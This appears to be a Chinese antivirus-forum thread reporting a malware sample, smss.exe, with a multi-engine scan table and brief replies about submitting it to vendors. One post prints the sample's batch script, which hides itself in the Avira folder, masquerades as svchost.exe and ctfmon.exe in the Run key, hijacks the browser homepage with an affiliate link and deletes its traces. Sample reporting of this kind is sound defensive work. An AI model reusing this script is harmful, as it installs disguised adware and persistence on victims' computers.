smss.exe

显示全部楼层 · 发表于 2010-1-1 18:33:23

a-squared	4.5.0.43	2010.01.01	-
AhnLab-V3	5.0.0.2	2009.12.31	-
AntiVir	7.9.1.122	2009.12.31	HEUR/Crypted
Antiy-AVL	2.0.3.7	2009.12.31	-
Authentium	5.2.0.5	2009.12.31	W32/Downloader.AT.gen!Eldorado
Avast	4.8.1351.0	2009.12.31	-
AVG	8.5.0.430	2009.12.31	-
BitDefender	7.2	2010.01.01	Trojan.Generic.2729883
CAT-QuickHeal	10.00	2009.12.31	-
ClamAV	0.94.1	2010.01.01	PUA.Packed.NPack-3
Comodo	3436	2010.01.01	UnclassifiedMalware
DrWeb	5.0.1.12222	2010.01.01	-
eSafe	7.0.17.0	2009.12.31	Suspicious File
eTrust-Vet	35.1.7210	2010.01.01	-
F-Prot	4.5.1.85	2009.12.31	W32/Downloader.AT.gen!Eldorado
F-Secure	9.0.15370.0	2010.01.01	Trojan.Generic.2729883
Fortinet	4.0.14.0	2010.01.01	PossibleThreat
GData	19	2010.01.01	Trojan.Generic.2729883
Ikarus	T3.1.1.79.0	2009.12.31	Trojan.SuspectCRC
Jiangmin	13.0.900	2010.01.01	-
K7AntiVirus	7.10.935	2009.12.31	-
Kaspersky	7.0.0.125	2010.01.01	-
McAfee	5848	2009.12.31	Suspect-10!B5B49FAB49E4
McAfee+Artemis	5848	2009.12.31	Artemis!6A02AB1A8094
McAfee-GW-Edition	6.8.5	2010.01.01	Heuristic.LooksLike.Suspicious.B
Microsoft	1.5302	2010.01.01	-
NOD32	4732	2009.12.31	-
Norman	6.04.03	2009.12.31	W32/Obfuscated.O!genr
nProtect	2009.1.8.0	2009.12.31	-
Panda	10.0.2.2	2010.01.01	Trj/CI.A
PCTools	7.0.3.5	2010.01.01	Net-Worm.Spybot
Prevx	3.0	2010.01.01	-
Rising	22.28.03.04	2009.12.31	AdWare.Win32.Undef.fle
Sophos	4.49.0	2010.01.01	Mal/EncPk-C
Sunbelt	3.2.1858.2	2010.01.01	-
TheHacker	6.5.0.3.124	2010.01.01	-
TrendMicro	9.120.0.1004	2010.01.01	PAK_Generic.001
VBA32	3.12.12.1	2009.12.31	-
ViRobot	2009.12.31.2118	2009.12.31	-
VirusBuster	5.0.21.0	2009.12.31	-

To KL

显示全部楼层 · 发表于 2010-1-1 18:39:24

微点

显示全部楼层 · 发表于 2010-1-1 18:41:41

to mmpc drweb

显示全部楼层 · 发表于 2010-1-2 00:09:56

瑞星2010

显示全部楼层 · 发表于 2010-1-2 00:30:22

Virus: Trojan.Generic.2729883 (Engine A)

显示全部楼层 · 发表于 2010-1-2 22:58:55

McAfee 报了1个。。

显示全部楼层 · 发表于 2010-1-2 23:03:45

360杀毒也报

显示全部楼层 · 发表于 2010-1-3 00:06:10

smss.exe→C:\Program Files\Avira\AntiVir Desktop
1.vbs HideRun 2.bat
2.bat

c:
cd\
cd C:\Program Files\Avira\AntiVir Desktop
copy "C:\Program Files\Avira\AntiVir Desktop\Internet Explorer.lnk" "%appdata%\Microsoft\Internet Explorer\Quick Launch" /y
c:
cd\
cd C:\Program Files\Avira\AntiVir Desktop
copy PPS.exe svchost.exe
attrib +H "C:\Program Files\Avira"
start svchost.exe
@REG ADD "HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command" /ve /t REG_EXPAND_SZ /d "C:\Program Files\Internet Explorer\iexplore.exe http://www.sogou.com/index.htm?p ... 25276239e419da-5043" /f
echo REGEDIT4>PPS.reg
echo.
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\run]>>PPS.reg
echo "ctfmon.exe"="C:\\Program Files\\Avira\\AntiVir Desktop\\svchost.exe">>PPS.reg
regedit /s PPS.reg
del PPS.reg
del PPS.exe
del 1.vbs
del /a /q "C:\Program Files\Avira\AntiVir Desktop\Internet Explorer.lnk"
ping 127.0.0.1 -n 10
del "C:\Program Files\Outlook Express\wabmng.exe"
del %0

复制代码

Internet Explorer.lnk

"C:\Program Files\Internet Explorer\iexplore.exe" http://www.sogou.com/index.htm?pid=sogou-netb-5d25276239e419da-5043

复制代码

svchost.exe (rename from pps.exe
create
C:\Program Files\Haomake
C:\Program Files\WinPOP
$Desktop$\免费设计签名.lnk
$Desktop$\爱情配对.lnk
$Desktop$\建国明信片.lnk
execute
regsvr32.exe "C:\Program Files\Haomake\VClass.dll" /s

[病毒样本] smss.exe

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源